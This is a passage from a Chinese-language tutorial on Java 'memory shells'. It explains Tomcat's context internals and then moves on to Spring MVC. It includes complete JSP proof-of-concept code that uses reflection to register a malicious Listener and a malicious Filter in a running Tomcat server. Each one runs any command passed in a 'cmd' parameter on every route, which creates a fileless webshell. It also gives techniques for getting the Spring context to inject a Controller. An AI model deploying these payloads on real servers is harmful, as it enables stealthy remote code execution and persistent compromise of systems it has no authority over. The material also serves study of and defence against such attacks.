boolean setInitParameter(String var1, String var2);
Object getAttribute(String var1);
Enumeration getAttributeNames();
void setAttribute(String var1, Object var2);
void removeAttribute(String var1);
String getServletContextName();
Dynamic addServlet(String var1, String var2);
Dynamic addServlet(String var1, Servlet var2);
Dynamic addServlet(String var1, Class var2);
extends Servlet> T createServlet(Classvar1) throws ServletException;
ServletRegistration getServletRegistration(String var1);
Map ? extends ServletRegistration> getServletRegistrations();
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, String var2);
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Filter var2);
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Class var2);
extends Filter> T createFilter(Classvar1) throws ServletException;
FilterRegistration getFilterRegistration(String var1);
Map ? extends FilterRegistration> getFilterRegistrations();
SessionCookieConfig getSessionCookieConfig();
void setSessionTrackingModes(Setvar1);
Set getDefaultSessionTrackingModes();
Set getEffectiveSessionTrackingModes();
void addListener(String var1);
extends EventListener> void addListener(T var1);
void addListener(Class var1);
extends EventListener> T createListener(Classvar1) throws ServletException;
JspConfigDescriptor getJspConfigDescriptor();
ClassLoader getClassLoader();
void declareRoles(String... var1);
}
ServletContext接口中定义了很多操作,能对Servlet中的各种资源进行访问、添加、删除等。
5.3 ApplicationContext
在Tomcat中,ServletContext接口的具体实现就是ApplicationContext类,其实现了ServletContext接口中定义的一些方法。
Tomcat这里使用了门面模式,对ApplicationContext
类进行了封装,我们调用getServletContext()
方法获得的其实是ApplicationContextFacade
类:
public ApplicationContextFacade(ApplicationContext context) {
super();
this.context = context;
classCache = new HashMap<>();
objectCache = new ConcurrentHashMap<>();
initClassCache();
}
ApplicationContextFacade
类方法中都会调用this.context相应的方法,因此最终调用的还是ApplicationContext
类的方法。
5.4 StandardContext
org.apache.catalina.core.StandardContext
是子容器Context
的标准实现类,其中包含了对Context子容器中资源的各种操作。四种子容器都有其对应的标准实现如下:
而在ApplicationContext类中,对资源的各种操作实际上是调用了StandardContext中的方法。
总结
ServletContext接口的实现类为ApplicationContext类和ApplicationContextFacade类,其中ApplicationContextFacade是对ApplicationContext类的包装。我们对Context容器中各种资源进行操作时,最终调用的还是StandardContext中的方法,因此StandardContext是Tomcat中负责与底层交互的Context。
六、Tomcat内存马
Tomcat内存马大致可以分为三类,分别是Listener型、Filter型、Servlet型。可能有些朋友会发现,这正是Java Web核心的三大组件!没错,Tomcat内存马的核心原理就是动态地将恶意组件添加到正在运行的Tomcat服务器中。
而这一技术的实现有赖于官方对Servlet3.0的升级,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上。
为了便于调试Tomcat,我们先在父项目的pom文件中引入Tomcat依赖:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.55</version>
</dependency>
6.1 Listener型内存马
6.1.1 实现恶意的Listener
根据以上思路,我们的目标就是在服务器中动态注册一个恶意的Listener。而Listener根据事件源的不同,大致可以分为如下三种:
- ServletContextListener
- HttpSessionListener
- ServletRequestListener
很明显,ServletRequestListener是最适合用来作为内存马的。因为ServletRequestListener是用来监听ServletRequest对象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()
方法。下面我们来实现一个恶意的Listener:
package Listener;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
@WebListener
public class Shell_Listener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}
访问任意路由都可执行命令:
下面的问题就是如何将恶意的Listener动态注册进服务器了,下面我们来分析一下Listener的创建过程。
6.1.2 Listener的创建过程
开启debug模式,我们先来看一下调用栈:
requestInitialized:13, Shell_Listener (Listener)
fireRequestInitEvent:5992, StandardContext (org.apache.catalina.core)
invoke:121, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:382, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
StandardContext#fireRequestInitEvent
调用了我们的Listener,我们跟进看其实现:
public boolean fireRequestInitEvent(ServletRequest request) {
Object instances[] = getApplicationEventListeners();
if ((instances != null) && (instances.length > 0)) {
ServletRequestEvent event =
new ServletRequestEvent(getServletContext(), request);
for (Object instance : instances) {
if (instance == null) {
continue;
}
if (!(instance instanceof ServletRequestListener)) {
continue;
}
ServletRequestListener listener = (ServletRequestListener) instance;
try {
listener.requestInitialized(event);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.requestListener.requestInit",
instance.getClass().getName()), t);
request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
return false;
}
}
}
return true;
}
关键代码有两处,首先通过getApplicationEventListeners()
获取一个Listener数组,然后遍历数组调用listener.requestInitialized(event)
方法触发Listener。跟进getApplicationEventListeners()
方法。
public Object[] getApplicationEventListeners() {
return applicationEventListenersList.toArray();
}
可以看到Listener实际上是存储在*applicationEventListenersList
*属性中的:
并且我们可以通过StandardContext#addApplicationEventListener()
方法来添加Listener
public void addApplicationEventListener(Object listener) {
applicationEventListenersList.add(listener);
}
那么就有注册恶意Listener的思路了。
6.1.3 获取StandardContext类
下面的工作就是获取StandardContext
类了,在StandardHostValve#invoke
中,可以看到其通过request对象来获取StandardContext
类:
同样地,由于JSP内置了request对象,我们也可以使用同样的方式来获取。
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
还有另一种获取方式如下:
<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>
6.1.4 编写恶意的Listener
<%!
public class Shell_Listener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
6.1.5 最后添加监听器
<%
Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>
6.1.6 完整POC
至此我们可以总结出Listener型内存马的实现步骤
- 获取StandardContext上下文
- 实现一个恶意Listener
- 通过StandardContext#addApplicationEventListener方法添加恶意Listener
完整POC如下:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%!
public class Shell_Listener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>
访问Listener.jsp。
此时Tomcat已经添加了我们恶意的Listener,访问任意路由即可触发:
6.2 Filter型内存马
仿照Listener型内存马的实现思路,我们同样能实现Filter型内存马。我们知道,在Servlet容器中,Filter的调用是通过FilterChain实现的:
6.2.1 恶意Filter编写
package Filter;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
@WebFilter("/*")
public class Shell_Filter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
}
6.2.2 Filter调用分析
我们在doFilter处打上断点,调用栈如下:
doFilter:11, Shell_Filter (Filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:540, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:382, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
跟进ApplicationFilterChain#internalDoFilter
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {
// Call the next filter if there is one
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();
if (request.isAsyncSupported() && "false".equalsIgnoreCase(
filterConfig.getFilterDef().getAsyncSupported())) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
}
if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req).getUserPrincipal();
Object[] args = new Object[]{req, res, this};
SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
} else {
filter.doFilter(request, response, this);
}
}
...
}
调用了filter.doFilter()
,而filter
是通过filterConfig.getFilter()
得到的,filterConfig
定义如下
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];
...
ApplicationFilterConfig filterConfig = filters[pos++]
我们知道,一个filterConfig对应一个Filter,用于存储Filter的上下文信息。这里的*filters
属性是一个ApplicationFilterConfig数组。我们来寻找一下ApplicationFilterChain.filters
*属性在哪里被赋值。
在StandardWrapperValve#invoke()
方法中,通过ApplicationFilterFactory.createFilterChain()
方法初始化了一个ApplicationFilterChain
类:
跟进:
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {
...
// Request dispatcher in use
filterChain = new ApplicationFilterChain();
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
// Acquire the filter mappings for this Context
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();
...
String servletName = wrapper.getName();
// Add the relevant path-mapped filters to this filter chain
for (FilterMap filterMap : filterMaps) {
...
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
...
filterChain.addFilter(filterConfig);
}
...
// Return the completed filter chain
return filterChain;
}
从createFilterChain函数中,我们能够清晰地看到filterChain对象的创建过程。
- 首先通过
filterChain = new ApplicationFilterChain()
创建一个空的filterChain对象 - 然后通过
wrapper.getParent()
函数来获取StandardContext
对象 - 接着获取
StandardContext
中的FilterMaps
对象,FilterMaps
对象中存储的是各Filter的名称路径等信息 - 最后根据Filter的名称,在
StandardContext
中获取FilterConfig
- 通过
filterChain.addFilter(filterConfig)
将一个filterConfig
添加到filterChain
中。
可以看到在ApplicationFilterChain#addFilter
方法,filterConfig被添加到filters中。
void addFilter(ApplicationFilterConfig filterConfig) {
// Prevent the same filter being added multiple times
for(ApplicationFilterConfig filter:filters) {
if(filter==filterConfig) {
return;
}
}
if (n == filters.length) {
ApplicationFilterConfig[] newFilters =
new ApplicationFilterConfig[n + INCREMENT];
System.arraycopy(filters, 0, newFilters, 0, n);
filters = newFilters;
}
filters[n++] = filterConfig;
}
所以关键就是将恶意Filter的信息添加进FilterConfig数组中,这样Tomcat在启动时就会自动初始化我们的恶意Filter。
6.2.3 FilterConfig、FilterDef和FilterMaps
跟进到createFilterChain函数中,我们能看到此时的上下文对象StandardContext
实际上是包含了这三者的:
1)filterConfigs
其中filterConfigs包含了当前的上下文信息StandardContext
、以及filterDef
等信息。
其中filterDef
存放了filter的定义,包括filterClass、filterName等信息。对应的其实就是web.xml中的<filter>
标签。
<filter>
<filter-name></filter-name>
<filter-class></filter-class>
</filter>
可以看到,filterDef必要的属性为filter
、filterClass
以及filterName
。
2)filterDefs
filterDefs是一个HashMap,以键值对的形式存储
filterDef。
3)filterMaps
filterMaps
中以array的形式存放各filter的路径映射信息,其对应的是web.xml中的<filter-mapping>
标签。
<filter-mapping>
<filter-name></filter-name>
<url-pattern></url-pattern>
</filter-mapping>
filterMaps必要的属性为dispatcherMapping
、filterName
、urlPatterns
于是下面的工作就是构造含有恶意filter的FilterMaps和FilterConfig对象,并将FilterConfig添加到filter链中了。
6.2.4 动态注册Filter
动态添加恶意Filter的思路:
- 获取StandardContext对象。
- 创建恶意Filter。
- 使用FilterDef对Filter进行封装,并添加必要的属性。
- 创建filterMap类,并将路径和Filtername绑定,然后将其添加到filterMaps中。
- 使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中。
1)获取StandardContext对象
StandardContext对象主要用来管理Web应用的一些全局资源,如Session、Cookie、Servlet等。因此我们有很多方法来获取StandardContext对象。
Tomcat在启动时会为每个Context都创建个ServletContext对象,来表示一个Context,从而可以将ServletContext转化为StandardContext。
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
2)创建恶意Filter
public class Shell_Filter implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd=request.getParameter("cmd");
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
3)使用FilterDef封装filter
//filter名称
String name = "CommonFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
4)创建filterMap
filterMap用于filter和路径的绑定:
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
5)封装filterConfig及filterDef到filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
6.2.5 完整POC
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>
<%! public class Shell_Filter implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
}
%>
<%
Shell_Filter filter = new Shell_Filter();
String name = "CommonFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
%>
先访问jsp木马:
此时已经动态注册了我们的恶意Filter,访问任意路由即可执行命令:
七、Spring内存马
7.1 什么是Spring
Spring是一个轻量级的Java开源框架,用于配置、管理和维护Bean(组件)的一种框架,其核心理念就是IoC(Inversion of Control,控制反转) 和 **AOP(AspectOrientedProgramming, 面向切面编程)**。现如今Spring全家桶已是一个庞大的家族:
Spring的出现大大简化了JavaEE的开发流程,减少了Java开发时各种繁琐的配置。
Spring框架的核心之一就是分层,其由许多大大小小的组件构成,每种组件都实现不同功能。
7.2 SpringBoot
SpringBoot 基于 Spring 开发。不仅继承了Spring框架原有的优秀特性,它并不是用来替代 Spring 的解决方案,而和 Spring 框架紧密 结合进一步简化了Spring应用的整个搭建和开发过程。其设计目的是用来简化 Spring 应用的初始搭建以及开发过程。
采用 Spring Boot 可以大大的简化开发模式,它集成了大量常用的第三方库配置,所有你想集成的常用框架,它都有对应的组件支持,例如 Redis、MongoDB、Dubbo、kafka,ES等等。SpringBoot 应用中这些第 三方库几乎可以零配置地开箱即用,大部分的 SpringBoot 应用都只需要非常少量的配置代码,开发者能够更加专注于业务逻辑。 另外SpringBoot通过集成大量的框架使得依赖包的版本冲突,以及引用的不稳定性等问题得到了很好的解决。
下面我们就通过IDEA中的Spring Initializr来快速构建一个基于SpringBoot的Web项目:
Spring Initializer 已经不支持Java8,也就是SpringBoot2.x项目初始化
- Spring Boot 3.0 最低版本需要 Java 17。如果您目前使用的是 Java 8 或 Java 11,则需要在开发 Spring Boot 3.0 应用程序之前升级 JDK。
- Spring Boot 3.0 也运行良好,并已使用 JDK 19 进行了测试。
如果就是想使用java8呢?
- 更换IDEA内置的Spring Initializer中
Server URL
的镜像地址:https://start.aliyun.com/![]()
![]()
这时候我们可以看到有Java8版本选择了。
创建项目:
选择Spring Web:
创建好之后,IDEA会自动创建一个启动类:SpringBootApplication
package com.sxk.springbootdemo.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class HelloWorldController {
@ResponseBody
@RequestMapping("hello")
public String Hello(){
return "Hello World!";
}
}
下面我们就可以编写相应的Controller(控制器)及各种业务逻辑了,删除项目包下面的web目录,添加controller目录,编写接口逻辑:
package com.sxk.springbootdemo.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class HelloWorldController {
@ResponseBody
@RequestMapping("hello")
public String Hello(){
return "Hello World!";
}
}
访问测试:
7.3 Spring MVC、Tomcat和Servlet
7.3.1 Tomcat
假如让我们自己手动实现一个简易的Web服务器,我们会怎么做?
首先我们肯定要接收客户端发来的TCP数据包,这里我们需要一个TCPServer来监听80端口。接着我们需要将TCP数据包解析成HTTP协议,获取URL路径、参数列表等数据信息。再然后就是执行各种逻辑处理。最后就是把处理的结果封装成HTTP协议返回给浏览器,并且等浏览器收到响应后断开连接。以上就是一个简易Web服务器的实现逻辑,当然,真正的Web服务器可能要比上述更加复杂一些,但核心功能是不变的:接受请求、处理请求、返回响应。
当然,如果我们在处理业务时每次都要进行一遍上述流程,这未免太繁琐。其实我们可以发现在上述流程中,网络通信、HTTP协议解析和封装部分的实现都相对固定。有变化的部分其实只有逻辑处理器,需要我们根据不同请求包而做出相应的逻辑处理。因此,为了提高开发效率,我们能不能将不变的部分封装起来呢?这其实就是我们的Web服务器。
Tomcat就是这样一种服务器,它其实就是一个能够监听TCP连接请求,解析HTTP报文,将解析结果传给处理逻辑器、接收处理逻辑器的返回结果并通过TCP返回给浏览器的一个框架。在Tomcat各种组件中,Connnector就是负责网络通信的,而Container中的Servlet就是我们的逻辑处理器。
因此Tomcat就是一个Servlet容器,它将前后端交互过程中不变的东西(网络通信、协议解析等)封装了起来。而Servlet是一个逻辑处理器,它可以被Tomcat创建、调用和销毁。所以我们的Web程序核心是基于Servlet的,而Web程序的启动依靠Tomcat。
那Spring MVC呢?Spring是利用注解、反射和模板等技术实现的一种框架。其核心类是继承于HttpServlet的DispatchServlet。那既然是Servlet,那负责的肯定就是逻辑处理部分了,那么就需要Tomcat这样的服务器来给Spring提供运行环境。
7.3.2 Spring MVC
Spring MVC的运行流程:
客户端发送Request,DispatcherServlet(等同于Controller控制器),控制器接收到请求,来到HandlerMapping(在配置文件中配置),HandlerMapping会对URL进行解析,并判断当前URL该交给哪个Controller来处理,找到对应的Controller之后,Controller就跟Server、JavaBean进行交互,得到某一个值,并返回一个视图(ModelAndView过程),Dispathcher通过ViewResolver视图解析器,找到ModelAndView对象指定的视图对象,最后,视图对象负责渲染返回给客户端。
1)创建一个简单的Spring MVC项目
这里我们使用Maven来创建一个简单的SpringMVC项目。创建好Maven项目后添加相应的Springmvc依赖。
...
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.7</maven.compiler.source>
<maven.compiler.target>1.7</maven.compiler.target>
<org.springframework-version>4.1.4.RELEASE</org.springframework-version>
</properties>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>${org.springframework-version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>${org.springframework-version}</version>
</dependency>
<!-- Tag libs support for view layer -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>taglibs</groupId>
<artifactId>standard</artifactId>
<version>1.1.2</version>
<scope>runtime</scope>
</dependency>
</dependencies>
...
报错:
Could not transfer artifact org.springframework:spring-webmvc:pom:${org.springframework-version} from/to alimaven (http://maven.aliyun.com/nexus/content/groups/public/): TransferFailedException
参考:http://blog.csdn.net/muzi_87/article/details/130216813
最后发现原因是
配置的问题,仅添加了dependencies,保留了项目刚创建时的默认properties:: <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> </properties>
漏掉了下面这行:
<org.springframework-version>4.1.4.RELEASE</org.springframework-version>
在main下新建webapp/WEB-INF目录:
在WEB-INF目录下创建Spring配置文件springmvc.xml
和web.xml
springmvc.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:mvc="http://www.springframework.org/schema/mvc"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd">
<!-- 设置注解扫描包路径-->
<context:component-scan base-package="com.controller"/>
<!-- 开启springMVC的注解驱动,使得url可以映射到对应的controller -->
<mvc:annotation-driven />
<!-- 视图解析 -->
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix" value="/WEB-INF/views/"/>
<property name="suffix" value=".jsp"/>
</bean>
</beans>
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<display-name>Archetype Created Web Application</display-name>
<!-- 使用默认的DispatcherServlet-->
<servlet>
<servlet-name>spring</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<!-- //spring配置文件路径-->
<param-value>/WEB-INF/springmvc.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>spring</servlet-name>
<!-- //路径设置为根目录-->
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
报错:Cannot resolve directory ‘WEB-INF’
![]()
在springmvc.xml文件右键辅助相对路径放在这里。
![]()
在java目录下新建com.controller
包,在下面创建test控制器:
package com.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class test {
@ResponseBody
@RequestMapping("/hello")
public String hello(){
System.out.println("hello");
return "Hello";
}
}
配置Tomcat,添加相应war包,访问测试。
7.4 Controller内存马
7.4.1 Bean
Bean
是 Spring 框架的一个核心概念,它是构成应用程序的主干,并且是由 Spring IoC
容器负责实例化、配置、组装和管理的对象。
- bean 是对象
- bean 被 IoC 容器管理
- Spring 应用主要是由一个个的 bean 构成的
7.4.2 IOC容器
如果一个系统有大量的组件(类),其生命周期和相互之间的依赖关系如果由组件自身来维护,不但大大增加了系统的复杂度,而且会导致组件之间极为紧密的耦合,继而给测试和维护带来了极大的困难。解决这一问题的核心方案就是IoC(又称为依赖注入)。由IoC负责创建组件、根据依赖关系组装组件、按依赖顺序正确销毁组件。
IOC容器通过读取配置元数据来获取对象的实例化、配置和组装的描述信息。配置的零元数据可以用xml
、Java注解
或Java代码
来表示。
7.4.3 ApplicationContext
Spring 框架中,BeanFactory
接口是 Spring
IoC容器 的实际代表者
Spring容器就是ApplicationContext,它是一个接口继承于BeanFactory,有很多实现类。获得了ApplicationContext的实例,就获得了IoC容器的引用。我们可以从ApplicationContext中可以根据Bean的ID获取Bean。
因此,org.springframework.context.ApplicationContext
接口也代表了 IoC容器
,它负责实例化、定位、配置应用程序中的对象(bean
)及建立这些对象间(beans
)的依赖。
7.4.4 Root Context和Child Context
7.3.5 如何动态的注册Controller
- 获取上下文环境
- 注册恶意Controller
- 配置路径映射
1)获取上下文环境Context
有四种方法:
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
getCurrentWebApplicationContext
获得的是一个 XmlWebApplicationContext
实例类型的 Root WebApplicationContext
。
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
通过这种方法获得的也是一个 Root WebApplicationContext
。其中 WebApplicationContextUtils.getWebApplicationContext
函数也可以用 WebApplicationContextUtils.getRequiredWebApplicationContext
来替换。
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
通过 ServletRequest
类的实例来获得 Child WebApplicationContext
。
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
这种方式与前几种的思路就不太一样了,因为所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext。
2)动态注册Controller
RequestMappingHandlerMapping
是springMVC里面的核心Bean,spring把我们的controller解析成RequestMappingInfo
